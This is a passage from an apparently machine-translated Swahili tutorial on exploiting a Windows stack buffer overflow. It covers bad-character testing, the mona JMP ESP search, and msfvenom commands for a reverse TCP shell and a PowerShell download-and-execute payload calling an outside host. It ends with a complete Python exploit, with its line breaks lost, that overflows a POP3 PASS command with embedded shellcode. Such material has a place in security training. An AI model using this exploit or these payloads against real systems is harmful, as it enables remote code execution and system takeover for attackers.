The badchars huanza katika 0x01 kwa sababu 0x00 karibu kila wakati ni mbaya.
Tekeleza mara kwa mara exploit hii na buffer mpya ikiondoa wahusika ambao wameonekana kuwa wasaidizi:
Kwa mfano:
Katika kesi hii unaweza kuona kwamba hupaswi kutumia wahusika 0x0A (hakuna kinachohifadhiwa katika kumbukumbu tangu wahusika 0x09).
Katika kesi hii unaweza kuona kwamba wahusika 0x0D wanakwepa:
Tafuta JMP ESP kama anwani ya kurudi
Kwa kutumia:
!mona modules #Get protections, look for all false except last one (Dll of SO)
You will orodhesha ramani za kumbukumbu. Tafuta DLl ambayo ina:
Rebase: False
SafeSEH: False
ASLR: False
NXCompat: False
OS Dll: True
Sasa, ndani ya kumbukumbu hii unapaswa kupata baadhi ya bytes za JMP ESP, ili kufanya hivyo tekeleza:
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
Kisha, ikiwa anwani fulani imepatikana, chagua moja ambayo haina badchar yoyote:
Katika kesi hii, kwa mfano: _0x5f4a358f_
Unda shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
Ikiwa exploit haifanyi kazi lakini inapaswa (unaweza kuona na ImDebg kwamba shellcode imefikiwa), jaribu kuunda shellcodes nyingine (msfvenom na kuunda shellcodes tofauti kwa vigezo sawa).
Ongeza NOPS kadhaa mwanzoni mwa shellcode na uitumie pamoja na anwani ya kurudi ili JMP ESP, na kumaliza exploit:
#!/usr/bin/pythonimportsockets=socket.socket(socket.AF_INET,socket.SOCK_STREAM)ip='10.11.25.153'port=110shellcode= ("\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1""\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b""\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4""\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6""\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4""\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36""\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9""\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19""\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef""\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78""\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85""\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4""\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35""\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71""\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8""\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf""\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a""\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5""\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25""\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4""\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1""\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a""\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d""\x2d\xb8\x63\xe2\x4e\xe9")buffer='A'*2606+'\x8f\x35\x4a\x5f'+"\x90"*8+shellcodetry:print"\nLaunching exploit..."s.connect((ip,port))data=s.recv(1024)s.send('USER username'+'\r\n')data=s.recv(1024)s.send('PASS '+buffer+'\r\n')print"\nFinished!."except:print"Could not connect to "+ip+":"+port
Kuna shellcodes ambazo zinajifuta, kwa hivyo ni muhimu kila wakati kuongeza baadhi ya NOPs kabla ya shellcode